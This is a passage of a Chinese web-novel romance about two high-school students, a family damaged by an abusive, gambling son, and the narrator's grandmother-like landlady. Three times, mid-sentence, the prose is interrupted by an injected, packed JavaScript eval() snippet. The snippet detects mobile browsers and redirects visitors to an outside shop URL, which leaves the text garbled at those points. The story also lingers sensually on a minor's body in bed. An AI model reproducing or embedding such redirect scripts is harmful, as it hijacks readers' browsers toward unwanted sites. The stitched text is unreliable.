谢奶奶一时忘记遮掩,抬头去看。 驰路面色一惊,看到谢奶奶右眼上的淤青,眼睛肿着,一看便是被人打过。 “谢奶奶,你的眼睛怎么了?”驰路想仔细看下谢奶奶的眼睛,谢奶奶却避开,状似无所谓地说:“没事,就摔了一跤。” 如果是摔的,不只是眼睛,眼睛附近的位置也会有擦伤,但并没有。 “谢奶奶,谁打的?”驰路并不想揭过这个问题,追问,“你告诉我。” 谢奶奶许久不言,驰路看着垂头的蔫儿了的谢奶奶,心口一疼。 要是让她知道是谁打了谢奶奶,她一定饶不了对方! 她不允许任何人欺负谢奶奶! 半晌,驰路看到谢奶奶在抹眼睛,手背湿了,她看得心里揪痛,仿佛有人在用刀剜着。 她猜了个大概,还能是谁做的,罪魁祸首大概是谢奶奶那个混账儿子! 谢鸿运! 不务正业、沉迷酗酒、醉心赌博也就算了,竟然还动手打自家妈妈! “叔叔问你要钱了吧。” “这千刀杀的,天天没事就出去喝酒赌博,家里有再多钱,也都会被他败光。”谢奶奶吸了吸鼻子,依然垂着头,憋回眼泪,“都怪我,生了这么个孽种!” 驰路忽然生出无力感,她很想帮谢奶奶,很想把谢鸿运暴揍一顿,但她知道,以暴制暴有时是管用的,但在这件事上,不能这么做。 她完全可以出钱找人暴揍谢鸿运一顿,警告他不要出去喝酒赌博,不要打谢劲舟、谢奶奶、谢林乔,也许他会一时收敛,也许他会反弹,将所有的气全都撒在他们三个人身上,变本加厉地打他们,这不是驰路想要看到的结果。 这一家四口,如果没了谢鸿运,会平安无事,顶多谢劲舟不好好学习,玩玩赛车、打个小架,翻不出多大的浪花。 但谢鸿运的存在,让这个家变得时不时被乌云笼罩、被狂风席卷、被暴雨侵袭。 谢奶奶被打的原因,驰路也猜了出来,无非是为了钱,钱不够、没有钱,都会成为他打谢奶奶的理由。 她给谢奶奶钱? 但不管她给谢奶奶多少钱,都是无底洞,都会到谢鸿运的口袋里。 驰路提议:“谢奶奶,要不要把现金放到支/付宝呢?” “我哪里会弄啊。” “让小谢帮你弄?” “不弄这些。”谢奶奶摆摆手,“年纪大了,你们现在时新的玩意儿,我玩不起来。” 谢奶奶继续纳鞋底,手下的动作变得迟缓,藏在阴影里的神色凝重,像在思索着什么。 夜晚静下来,驰路的心,却像装了一座假日里的游乐园,又吵又闹,又烦人。 * 谢劲舟一个月没去网吧,去上夜班时,各路莺莺燕燕纷纷缠上来,跟他打招呼。 他照样酷帅地给她们冷脸,话也少得可怜。 但莺莺燕燕们就喜欢他这副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560762|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽得二五八万的样子,主要是他太帅了,淋漓尽致地演绎了脸部每个角度都帅得惊为天人。 谁都想把他占为己有,谁也都想征服他,好像征服了他,就征服了全世界。 一个身材妖娆的穿着超短裙的女生喊来谢劲舟让他帮忙看电脑出了什么问题,怎么老黑屏。 黑屏不过是她找的借口,电脑一次没黑屏过,她不过是想多看看这个芳町镇又痞又帅会打架的大佬。 谢劲舟站在女生的一侧,与她保持着距离,敲着键盘,检查电脑有没有问题。 女生故意往谢劲舟身上贴,大腿几乎要贴到谢劲舟身上时,谢劲舟往旁边让。 女生却继续抬手点着谢劲舟修长的手指,刻意放软声音:“舟哥,你的手真好看!” 谢劲舟立刻缩回手,皱眉沉脸说:“给我放安分点!” 他看都没看女生一眼,被她碰到的地方如蚂蚁啃噬过,一点都不舒服。 女生就喜欢谢劲舟身上的这股劲儿,你要碰他一下,他非不让你碰,还要刺你一句,勾搭这样的男生才带劲。 她大着胆子还想继续摸摸谢劲舟的手背,却被人抓住了胳膊,朝她脸上狠狠甩了一巴掌:“舟哥是你能碰的吗?给老娘滚!” 来者气势汹汹,火力全开,吼出的声音吓到了旁边正在玩游戏的人,纷纷朝这边看过来。 “看什么看,没看过打人吗。”余夏目露狠色,一副大姐大的模样。 想看戏的人又都收回了视线。 被打的女生本来想还手,见来人是余夏,知道是谢劲舟的前女友。 算了,她惹不起,只得用刀子般的眼神瞪余夏,愤愤然离开。 女生走后,余夏朝谢劲舟递了根烟,他没接,余夏妩媚一笑:“怎么,前女友递的烟有这么烫手吗?” 谢劲舟接了过去,余夏凑上去给他点烟,靠得很近,半臂距离,似乎在跟全网吧的女生们宣告“我的男人,你们别动”。 余夏看着烟尾腾起星火,看着谢劲舟吸了口烟,没往后退,反而朝他身前贴近,等着他吐烟圈。 她知道他有个习惯,吸三口吐一次烟圈,等到他吸完第三口烟,烟雾从他口中飘出。 余夏让自己的脸埋在烟雾里,深深地嗅着,不只有烟味,还有独属于谢劲舟的味道,两种味道夹杂在一起,让她沉迷。 谢劲舟检查完电脑发现没问题,见余夏有意无意地靠近自己,心里一阵燥,往柜台走去。 余夏尾随其后,高跟鞋被踩得哒哒响。 余夏走到柜台前,单手撑着腮,委委屈屈地说:“舟哥,你怎么老喜欢删我微信,把我放在你的好友列表里,很难吗?” “余夏,你早就知道,我们什么关系都没了。”上次余夏说要给他介绍活儿,但没有等到她的推荐,谢劲舟当机立断地把她从微信好友列表里删了。 谢劲舟坐到椅子上,翘起二郎腿,拿着手机玩贪吃蛇。 “没事,也许以后你还会再找我。”余夏没有纠缠,男生对于轻易得到的、或者拼命贴上去的往往都不珍惜。 她缠了他几次,这道理也渐渐懂了。 别人跟她说,想要摘到树上的果子,不一定非要踮脚,或者踩梯子,你可以等瓜熟蒂落时,果子自然而然地掉在你怀里。 这招就叫,欲擒故纵。 余夏踩着高跟鞋出了网吧,留下一串浓烈的香水味。 * 谢劲舟飞驰电掣地开着他的宝贝摩托车驶在夜色中,入秋的夜,芳町镇已有凉意,他却还穿着单薄的短袖T恤。 风把他的衣服吹得鼓起,猎猎作响。 寂静的夜里,无人的街道上,他想起了那个坐在他后座上、揽着他腰的小姑娘。 她现在睡了吧? 等他到了房间,照例没开灯,照例轻轻开门,怕吵醒在另一张床上睡觉的谢林乔。 借着外面洒进来的一点光,谢劲舟看到自己床上侧身躺着一个人,穿着黑色吊带睡裙,披散着头发,蜷缩着身体,看起来有些冷。 46. 怎么在谢大佬床上 「世界下了一场大雾,前路不明。 你煽动了一万次翅膀,在我的心尖上起舞。 从此,雾散路开,心像被蝴蝶夺走一万次。」 ——《不夜港》 在静心小屋的每个周六晚上,驰路都会睡在那儿,可能次数少,也可能别的原因,她一次都没从沙发床梦游到他床上。 一墙之隔的夜晚,谢劲舟常常难以入眠,不只是那段时间躁郁症的复发,还因为驰路在。 他脑袋里除了装着两年前的痛苦旧事,还跳出来驰路,像动物触角似的,有意无意地挠着他的心,弄得他又燥又痒。 他从没期待过什么,月亮升不升起,太阳落不落下,都跟他没关系,但他却隐隐期待,有一只蝴蝶能飞在他身边。 看,这只蝴蝶终于飞来了。 浑身被风吹凉的身体,在这一刻,突然,生起看不见的焰火。 * 这次驰路穿的黑色吊带裙跟之前的那条不一样,这次的比之前的要更性感,带蕾丝的,性感之余,还透出属于驰路独有的妩媚。 谢劲舟怀揣着私心,想等洗完澡跟她同床共枕会儿,再将她送到她的房间。 驰路躺在薄被上,谢劲舟只好把另一边的被子轻轻掀上来,盖到她身上。 驰路下意识地往被子里拱。 谢劲舟盖到一半时,忽然停住,隐约看到了她后背上的淤青。 他把被子只盖到她腰际,蹲下身,看她后背,果然,在右边破碎的翅膀文身附近,有一块条状淤青,眸子顿时一黯,眉头蹙起。 她所谓的“一点事没有”,狗屁! 这叫没事? 抹药了吗? 生出这样的念头,谢劲舟吓了一跳,他什么时候对伤口如此敏感了? 还是这么点没有破皮、流血的伤,对他而言,更是不值一提的小伤。 为什么这点伤在驰路身上,却让他这么担心? 他找不到乱成一团的思绪源头,心里生出燥意。 不管了,管你有没有抹药,老子再给你抹一次! 谢劲舟找来了活血化瘀的外敷药,这药还是驰路买来送他的,当时他不打算要,她却说:“舟哥,受伤时,我们可以让自己疼一时,但不要一直疼着,要不然伤口好得慢,还会留疤,留疤了会很丑。这世界本就没什么人情味,我们总要对自己好点。” 这药谢劲舟还真抹过,抹上去凉凉的,接触受伤的皮肤时,带来刺激的凉意和痛感,好像比不抹药好些,让他再一次感到深刻的痛感。 他给驰路抹时,并没有直接涂抹上去,而是抹在自己食指指腹上,再用指腹上蘸的药水轻轻涂在她的淤青处。 他涂得那么轻,如羽毛般落在她细腻的肌肤上。 他从没对谁这般细心过,哪怕是对谢林乔,就算抹药,也是粗鲁地给她抹。 是怕惊醒她,还是怕弄疼她? 谢劲舟想起驰路帮谢林乔挡衣架钢管的画面,她还真是不要命,万一砸到头上呢。 想想竟有些后怕。 指腹一点点滑过条状淤青处,凉意碰触温热,勾起指腹的热度,渐渐起火。 要命,一向禁欲的他,面对驰路时,总会被她勾起最原始的欲/望。 如果他是一片荒原,她就是火焰,风一过境,火便燎原。 哪怕被焚毁,他也愿跟她一起下黄泉。 * 谢劲舟去洗了个冷水澡,洗澡时想,她会不会已经回房间了,不过,就前几次的情况来看,她没有一次主动回房间。 他拿着毛巾擦着湿漉漉的头发,胡乱擦了一把,不去管往下滴的水珠,套上黑色背心,匆匆来到房间。 心里揣着的紧张、匆忙,在看到小姑娘还在床上时,瞬间卸下。 谢劲舟绕过床尾,睡到另一侧,侧身看着窝在被子里的驰路。 不知何时,她把被子踢了些,滑到腰间,V领吊带裙勾勒出她姣好的玲珑曲线,脖子以下的肌肤展露无遗,看见暗隐的沟壑,露出些许端倪,如高耸的雪山。 谁能想到把自己裹在大大校服里的她,瘦是瘦,但该丰满的地方很丰满。 谢劲舟的喉结滚动了下,身体微微发燥。 微光笼着她巴掌大的精致面庞,她沉睡的样子,像极了暗夜公主。 谢劲舟抬手,沿着她的眼角往右移,一点点摸到她眼尾的那颗胭脂痣。 人往被子里拱了拱,谢劲舟吓得移开手,等人不动了,才帮去她盖被子。 驰路像有感应似的,直接抱住谢劲舟,把脑袋埋进他怀里,抬手缠着他,喃喃地说了句:“驰岸,你等我,姐会去找你。” 她口中的“驰岸”,谢劲舟有所耳闻,是她的弟弟,跟着她爸在国外。 她弟弟是发生什么事了吗? 谢劲舟低头去看怀里的小姑娘,她的眉头皱着,像受了委屈的小孩。 他的蝴蝶,是不是飞入了汪洋,一场风暴一场雨,她正与风暴搏斗? 谢劲舟将驰路眉间的褶皱抚平。 他希望自己是一只海燕,可以将他的蝴蝶拖住,平安地穿越风暴,抵达彼岸。 航线没有终点,世界没有尽头,他的蝴蝶要有路可走。 她曾在静心小屋的一个深夜告诉他,她老爸之所以给她取名为“路”,是希望她有路可走,但她发现好像自己无路可走了。 那时,他没回她,跟着她一起碰杯喝酒。 现在,他要告诉她,就算她无路可走了,他会为她铺一条路,让她有路可走。 只要她在谢家一天,他就给她递一块向前的砖,让她走上一条大道,一条通往未来的光明道。 他知道,她注定不属于芳町镇。 蝴蝶注定要飞往碧海蓝天。 他拥住他的蝴蝶,一起沉入梦的花园。 此时,蝴蝶不属于任何人,只属于他。 多好! * 驰路是被热醒的,想踢被子,却发现踢到了某个坚硬的东西,吓得迷迷糊糊地睁眼。 睁眼的瞬间,吓得几乎要从床上弹起来,嘴里差点冒出脏话,但她稳住了,将自己牢牢地钉在床上,更准确地说,她的身体有些发僵,像被冰雪冻住。 她怎么也没想到,自己竟然在谢劲舟的床上,还手脚交缠在他身上,亲密得要命。 到底发生了什么? 她原本平静的世界,宛若掉入一枚炸弹,炸得她头昏眼花、晕头转向。 是他把她掳到他床上的?他会做这样的事? 还是…… 她的梦游症导致的? 驰路看谢劲舟规规矩矩地穿着背心、长裤,平躺着,一点也没有要占她便宜的意思,反倒是她,十分不守规矩地缠着他,像八爪鱼似的,手放在他胸口,腿跨在他腿上,就差整个人压在他身上了。 这个姿势,让她看着格外羞耻,脸腾地红了,像熟透的水蜜桃。 驰路突然明白为什么谢劲舟会说那句“是你先招惹我的,你得付出代价。” 这应该不是自己第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560763|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次梦游到他床上吧?他发现了?还当什么都没发生? 驰路有种想掐死自己的冲动,梦游到哪里不好,怎么偏偏梦游到他床上。 真是找死! 赶紧逃吧! 驰路赶紧小心翼翼地把手脚从谢劲舟身上移开,移的时候,心怦怦跳得厉害,生怕谢劲舟醒了,生怕跟他当面对峙。 不是她怕他,而是自己的这种行为,怎么理论都是自己占下风,毕竟她才是那个始作俑者。 她刚想挪腿时,谢劲舟的手忽然搭到她大腿上,她吓得不敢动了,难道他醒了? 驰路的心越发跳得厉害,像做了坏事的小孩,生怕被大人发现。 她慌张地看着谢劲舟,一动不动地看了得有几十秒,发现他并没有一点要醒的迹象,才松了口气。 驰路慢慢地想抽回腿,却发现他搭在腿上的手有点力度,抽离的时候,擦过他的手心,所到之处磨着他手心的纹路,擦热她裸露的大腿,蹿上一阵细细密密的电流,流窜到她的心间,麻麻的。 倏忽间,她停住,他的手心几乎贴着她的臀/部,自己隐/秘之处被他覆着,弄得她面红耳赤、心跳如鼓。 窗外的天还没亮,只透出一点点青色,照在谢劲舟棱角分明的侧脸上,沉在暗色里的他,显得又深邃又神秘,宛若大地之子,脸部的每个部位都是女娲的杰作。 驰路望着他右侧短茬处的那道“X”,想起谢劲舟说的“我的人生是个BUG,原本不该启动,可笑的是,不但启动了,还启动得如此糟糕。” 他们都一样,人生都出现了BUG,他将BUG赤裸裸地刻在脑袋上,一遍遍提醒自己这种错误,有种连活着都是罪过的意思。 无疑,他是勇敢的,勇敢地面对这操/蛋的BUG,也勇敢地与这个操/蛋的BUG对抗。 躁郁症患者,在病情严重时,会很容易产生轻生的念头。 他是怎么扛过来的?是怎么对抗的? 听罗子昂说,他没看医生,也没吃药,生生硬抗了过来。 她曾是抑郁症患者,她知道陷入无名的低落情绪、整夜失眠、对每件事毫无兴致的感受,那是致命的,不管是对身体,还是对精神,都是一种拉锯战似的凌迟。 驰路抬手,轻轻地轻轻地摸上他的那道“X”,沿着最顶端,往下滑,指腹下是扎人的触感,像在摸小刺猬,滑过一道斜杠,又滑过另一道斜杠,最后在末端停住。 她耳语似的说:“舟哥,你说,我跟你不一样,我成绩那么好,会前程似锦,会有无限风光。” “你眼中这样的我,曾经跟你一样,活得破败不堪,活得贼没劲,我也想过离开这个操/蛋的世界,但我现在很庆幸,我还活着。” “因为活着,来到了芳町镇,遇见了你。” “舟哥,你知道吗,你没有你想象中那么糟糕、那么差劲,你有学习底子,却不得不为了这个家,放弃学习时间,打好几份工;你看起来很冷漠,但你心肠不坏;你不装,你有什么都表现在脸上,你比任何人都活得坦荡,你是那个敢于迎接风暴、还在风暴里起舞的勇士。” “我们的人生都会出现BUG,最深的黑暗,不是放纵和沉沦,而是亲手折断朝着光明生长的根系。” “你活着不是罪过,是谢奶奶、小乔的支柱,希望你可以一直勇敢地往前走。” “舟哥,这世界太虚假,而你是我唯一的真实。” 这段话,说给夜色听、说给风听,也说给他听。 她知道,他不会听见。 47. 有些羞耻怎么办 「自然而然到对方的世界梦游。 是不是想靠近一个人的隐喻?」 ——《小蝴蝶的盛夏》 有些话,不一定非要对方听到才有意义。 驰路小心翼翼地脱离了谢劲舟的手掌,蹑手蹑脚地下了床、离开了房间。 她不知道,床上的人浅眠,早已醒了。 她说的那段话,谢劲舟都听到了。 谢劲舟舍己为人,一晚上没盖被子,身体凉到不行,差点要打喷嚏,被生生憋回去。 他拉过被子,把自己裹进去,还有驰路的体温,温温热热,鼻尖涌进来玫瑰芬芳、独特的体香。 他深深地嗅着,似要将这些芬芳全都吸进身体,好像这样就跟她融为一体了。 他的蝴蝶,扑闪着翅膀,飞入他的心上。 他想告诉他的蝴蝶:“阿驰,我会勇敢地往前走。” 我会跟你一起,勇敢地往前走。 * 回到房间后,驰路再没睡着,干脆起来刷了数学错题集。 刷完,她放下笔,走到阳台,伸了个懒腰,望着远处炫目的朝霞。 朝霞冒出头,层层叠叠地从云端跃出,洒下一片绚丽光辉,给芳町镇的街道、小巷披了一层金光。 抬头间,看到晾衣架,已经安装好了,位置有点高。 要去买个撑衣杆了。 旁边的房间静悄悄,看来谢劲舟还在睡。 楼下传来锅碗瓢盆的声音,谢奶奶又在厨房忙碌了。 新的一天开始了,她要怎么面对谢劲舟? 想到跟谢劲舟同床共枕,还手脚缠住他的亲密画面,她就一阵羞耻,烦躁地挠了挠头发。 吃早饭时,谢劲舟难得起早了,跟她一起吃早饭。 驰路第一次觉得跟他共餐,尴尬、别扭。 而一旁的谢劲舟却像什么事都没发生一样,喝粥吃饼。 她偷偷地用余光瞧他,他比自己吃得快,吃完坐着没动,拿起手机玩游戏。 一直没跟他说话的驰路,终于开了口:“舟哥,国庆后一来就要月考了,你还不抓紧时间刷题。” “驰老师,你这么关心我的学习,国庆节继续帮我补习?”谢劲舟在玩贪吃蛇,按着屏幕,顺利地吃掉障碍,蛇又变长了,抬起深邃的眸子看她。 “哥哥,你什么时候爱上学习了?”谢林乔揉着惺忪睡眼,从楼上走下来。 谢劲舟看她那没睡醒的样子,走过去:“小乔,你怎么没洗脸就下来?” “哥哥,我渴了。”谢林乔坐到椅子上。 “哥哥给你去倒。”谢劲舟给谢林乔倒了一杯温水,看谢林乔喝完,拿着梳子帮她梳头发,“哥哥不是跟你说过,头发要自己扎,扎好了再下来,你这什么样子,像个野小孩。” “哥哥!”谢林乔不满地朝谢劲舟嘟嘴,“我才不是野小孩!我有奶奶,有哥哥,还有阿驰姐姐,我是有人要的小孩。” “好,有人要的小孩。”谢劲舟宠溺般地揉了揉她的脑袋。 驰路鲜少看见这样的谢劲舟,眼神不再冷漠,而是温和得像春日的风,连说话的语气都变得没那么生硬、低沉,是柔软的、上扬的。 他真是宠他家的小孩。 她想啊,以后谁能成为那个真正走进他心里的人,应该也能将冷若冰霜的他融化。 估计很难吧,听罗子昂说,他从没主动喜欢谁,也从没一个人能让他喜欢。 谁都知道,他身边的女朋友换了一茬又一茬,以为他风流、花心,却不知他厌倦她们的聒噪,厌倦她们的纠缠,厌倦她们非要他给出山盟海誓的诺言。 他从没对谁主动好过,罗子昂跟她说:“驰妹,我打小跟舟爷一起,女生中,除了小乔,他对你最好。” 这话放在以前,驰路是绝不信的,但现在不一样了,跟谢劲舟相处的近三个月里,他对她怎样,她比谁都清楚。 他是真把她当谢家人看待了,对她,比对其他女生都特别。 她在栾花巷32号体会到了缺失已久的家的感觉。 眼前的谢劲舟对谢林乔好得不像话,谁能想到芳町镇大佬会亲自帮小女孩梳头发、扎辫子,手法还那么成熟,一看便是扎过很多次。 “阿驰姐姐,你帮我看看,哥哥帮我扎的辫子好看吗?”谢林乔扭过头给驰路看。 驰路看着扎了两条羊角小辫的小姑娘,还真是可爱得很。 她放下筷子,双手捧着她婴儿肥的脸颊,边揉边说:“咱家的小乔最好看了!” 小姑娘听得心花怒放,拉着谢劲舟陪她一起上楼洗漱。 谢劲舟走到楼梯口停下,看向驰路说:“阿驰,等我五分钟,我们一起去学校。” * 驰路想啊,可能谢劲舟对她梦游到他床上一事一无所知,跟她的相处依然跟从前一样。 既然如此,她也不扭捏,大大方方地跟他对视。 所以,当他提出一起去学校时,她没有拒绝。 所谓的一起去学校,其实是谢劲舟开着他的摩托车载驰路去学校。 她坐在摩托车后座上,秋日凉风拂面,将他身上的皂香吹散开。 她的世界被他的气息包围,有着说不太上来的异样情绪,心跳如风,一阵猛于一阵。 驰路用手拽着他腰侧的衣服,前胸几乎贴着他的后背,只要经过某个颠簸处或者来个急刹车,他们的身体便会紧密贴合,像两块碰到一起的磁铁。 接下来的几天,谢劲舟每天都难得早起,每天都跟驰路一起上学,已然成为了学校的一道风景线,格外醒目,格外惹眼。 谣言四起,说什么的都有,什么“清纯版鼓手头牌”被“芳町镇大佬”拿下,“芳町镇大佬”又换新欢,同居室友成同居情侣…… 爱慕双方的男生女生们,一片哀号,也有不相信的,坚信两人只是同居的朋友关系,谢劲舟送驰路上学很正常,没必要上升到情侣。 罗子昂是知情者,觉得这帮人真是看到一点表象就以为看到了全貌,蠢,真蠢! 安然从芳町三中的贴吧里看到了这些风言风语,第一时间给驰路发去关切:阿驰,你跟谢劲舟谈恋爱了??? 后面恨不得打上一万句问号,附带一个黑人问号脸。 隔着屏幕,驰路都能感到安然的极度震惊。 【燕尾蝶】:没谈,网上的都是瞎编乱造的,你还信? 【安安】:你可别跟我说谎啊,那些你坐在他摩托车上的照片我都看过,你搂着他腰的,他帮你解头盔扣子的,说不是情侣谁信啊。 【燕尾蝶】:安安,我什么时候骗过你。他开那么快,我不搂他,搂什么? 过了好一会儿,安然才回:行,我信你。说实话啊,阿驰,你跟谢劲舟还真配,看你们的照片,我磕到了! 许婉作为她在芳町镇的好友,也对她投来关心,问是不是真的,驰路说:“不是真的。” 她又大着胆子去问趴在桌上刚睡醒的谢劲舟:“舟哥,你跟驰路,是真的吗?” 窗外还趴着看驰路、谢劲舟的男生女生们,都一副好奇到不行的吃瓜群众模样,也有紧张剧情发展的,很希望谢劲舟冷脸说“不是”。 结果,芳町镇大佬靠着墙,一抬手,拿掉掉在她肩头的一根头发,将头发一圈一圈卷在手指上,边玩边用懒散的语调说:“以我家小姑娘说的为准。” 一句看似普普通通的话,却被他说出了几分宠溺的味道。 芳町镇大佬从没对谁这样,说的时候,冷漠神色一扫而光,痞气里夹杂着一丝难得的柔情。 吃瓜群众脸上的表情精彩纷呈,一个个如彩虹糖似的,什么颜色的都有。 自这之后,贴吧里的关于他俩的八卦情感贴越发扑朔迷离。 谁都不知道,谢劲舟一点没生气,反而在事发的那个深夜,把贴吧里的每张照片都看了一遍,纷纷下载下来,保存在命名为【我的蝴蝶】的相册里。 相册里,还有他在深夜时分偷偷拍的照片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560764|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她穿着黑色吊带裙,寂静妩媚,是飞入他世界的一只蝴蝶。 于暗夜里,在他的世界,洒下一粒粒金粉。 这些金粉闪着荧光,萤火虫般,照亮他的前路。 * 国庆节前一天,许婉中午拉着驰路去芳町一中附近的一家面店,说是学校的菜吃腻了,出来换换口味。 驰路揭穿她的小心思:“你是菜吃腻了吗,这都连续几天都出来觅食了,是想遇到你的佑白哥吧?” “想是想啦,”许婉胡乱搅拌着牛肉面,抬眼四顾,一看便是找人,找了一圈没看到程佑白,叹口气,“就是没见到他。” “直接约他一起吃不就行了。” “不要。”许婉摇头,“之前约过好多次了,一开始他还会来,后来他就不来了,说要学习啊,练歌啊,忙啊之类的,估计是嫌我烦。” 她想碰个运气,看看能不能遇到程佑白。 如果能遇到最好,不能遇到会有些失落,但也没关系,反正她会主动地一步一步地靠近他,不管以什么方式。 “要不你干脆告白好了。”驰路看许婉对程佑白的喜欢,是那种一日不见抓心挠肺的喜欢,跟她在一起,没有哪次不提程佑白,跟她说他的好、他的坏,言语间都是对他的想念。 她说她要把喜欢先藏着,因为他们现在都在学习的关键时期,等高考结束后再告白也不迟。 有道理是有道理,但如果不影响学习,还能一起为了理想大学而奋斗,两人在一起,是不是也可以? “阿驰,不影响学习是一方面,我还担心,一旦我告白了,他不接受,我们连朋友都做不成了怎么办。”许婉垂眸,“别看我是个行动派,但在爱情上,是个胆小鬼。其实,混在人群中的‘我喜欢你’,算哪门子的喜欢,不过是惊弓之鸟的虚张声势。只有在他的领地,吹响号角、占领山头、拿下军旗,才是明目张胆的‘我喜欢你’。这些我知道,但我现在还做不到。” “没关系,属于你的,迟早都会属于你。”驰路拿起醋罐子,先给许婉洒上几滴,再在自己碗里洒了两圈,“快吃吧,面都坨了。” 许婉吃了几口鸡丝面,问驰路:“阿驰,你呢?你喜欢什么样的男生?” “我啊……”这样的问题,不少人问过她,她从没正经想过、正经回答过,之前的回答五花八门。 驰路放下筷子,想了想说:“我的男朋友,一要帅,二要拽,三要在深冬来临前,带我去沙漠看一场日落。” “哇哦,驰妹,你看这位怎么样?”传来一道男声。 两人纷纷朝来人看去,竟然是罗子昂,旁边站着双手插兜、痞里痞气的谢劲舟。 “驰妹,咱舟爷满足你的前两个条件了,第三个嘛……”罗子昂朝谢劲舟使了个眼色,“舟爷,就靠你了!” “乱说什么!”谢劲舟朝罗子昂的后脑勺拍了一巴掌。 罗子昂皱眉揉了揉后脑勺,小声嘀咕:“怪不得你跑这么远来这儿吃饭。” 谢劲舟朝他递过去“闭嘴”的眼神。 但这话被驰路听见了,他跑这么远,是因为她来这边吃饭? 四人桌,正好还有两个空位,许婉让他们坐在这一桌,罗子昂特别自觉地坐到许婉旁边,谢劲舟坐在驰路身旁。 许婉问:“国庆节你们想好去哪儿玩了吗?” “跟着舟爷混。”罗子昂说,“舟爷,你想好了吗?” “打工,复习。”谢劲舟懒懒地用筷子卷起面条。 “……”许婉、罗子昂一脸震惊,像在听天方夜谭。 “驰老师给我制定了国庆七天学习计划。”谢劲舟说。 “……”这下换驰路震惊了,她什么时候给谢劲舟制定“国庆七天学习计划”了?他这信口胡诌的本事见长啊! 驰路的震惊只闪现了一瞬,很快消失,扶了扶眼镜,语重心长道:“谢同学,每天都要按照我定的方案执行啊,要不然就按照你说的来,一天没执行到位,就答应我一个要求。” 48. 有人回家闹事 「日子将我切片,我是四季里的小丑。 不屑扮丑,却也抵抗不了命运的腐朽。」 ——《不夜港》 “阿驰,你……”许婉难以置信地看驰路,她什么时候成芳町镇大佬的老师了? “我艹,舟爷,真的假的?”罗子昂眼睛瞪得像铜锣。 谢劲舟哪里想到自己随意说的一句话,竟然给自己挖了个陷阱。 芳町镇大佬也是要面子的,硬着头皮,看似轻松地回:“行,我答应你!” * 吃完饭,兵分两路去往芳町三中。 许婉跟驰路走到路边等出租车,她看到了路对面的程佑白,急忙跟驰路说:“你先回去,我看到程佑白了,我去找他。” 在人群中行走的程佑白,背着一把吉他,穿着最普通的芳町一中的校服,却像一颗发着光的星星,浑身散发出文艺的酷帅气质,走路都带风。 “拜拜。”驰路跟她挥手告别。 驰路打了辆出租车,望着窗外一一闪退的街景。 不知不觉来这里快三个月了,老妈没来看过她一次,前两天弟弟给她打电话,说他想她了,说他在法国住得一点都不习惯,饭吃不惯,跟人沟通有障碍,他好希望回国,好希望能见到她。 说实话,她也想驰岸了,他才十岁,正处于成长关键期,需要有一个温馨的、完整的家。 但他现在只能跟老爸逃去国外躲债,据说给他找到了一所普通小学,他不会法语,根本替听不懂老师在讲什么,课程落下不少。 驰岸在电话里跟她说:“姐姐,爸爸给我报了一个法语培训班,我有在好好学。” 说的时候,带着哭腔,隐忍着的。 这还是曾经那个在家无法无天、称王称霸的小霸王驰岸吗? 他好像,一夜之间长大了。 驰路看着窗外背着双肩包的小男孩时,从背影看,倒有些像驰岸。 小男孩的旁边,有一个肩上背着重物的老奶奶,佝偻着背,重物是用花床单裹着,比她人大很多,如同巨石般压在她肩上。 车继续往前驶,驰路终于看清老奶奶的样子,正是谢奶奶。 她为什么没有骑她的自行车? 为什么会在这条街? “师傅,麻烦在这儿停吧。”驰路给钱下了车,并没有急着去跟谢奶奶打招呼,而是悄悄地跟在她身后。 望着谢奶奶的身影,驰路感到一阵心酸,仿佛看到了自己的奶奶,曾在生命走到尾声时,被命运压弯了脊梁。 她多想帮谢奶奶背那些重物,即使她知道里面装的是小鞋子、小衣服之类的。 驰路发现谢奶奶走的线路越来越偏僻,远离了闹市区,在一处建筑工地停了下来。 她没继续往前走,而是站在墙角处,远远地看着谢奶奶,看到她把花床单放在了一处小屋里,出来时,头上戴了头盔、手套,俨然一副要劳作的样子。 谢奶奶在工地做什么? 驰路看到谢奶奶拉了个板车,拉到砖块堆前,将红色砖块一捧一捧地往板车上搬,再一块一块地往板车上垒,等垒到满满一车时,在肩上套上板车上的绳子,弯下腰,拼了劲儿地往前拉,每一步看起来都那般艰难。 驰路不是没看过在建筑工地上打工的工人,以前看到过的都是男性,放眼望去,在这里,男性、女性都有,但谢奶奶应该是年纪最大的一个。 谢奶□□顶烈阳,用她小小的身躯背负着那一车的红砖往前走,像下雨天在地上匍匐着往前爬的蜗牛。 为了养家糊口,谢奶奶不惜出卖自己的体力,承受如此重负。 驰路的心像被人拧着,一下一下地疼。 她不知道,原来苦难比她想象中的更沉重。 * 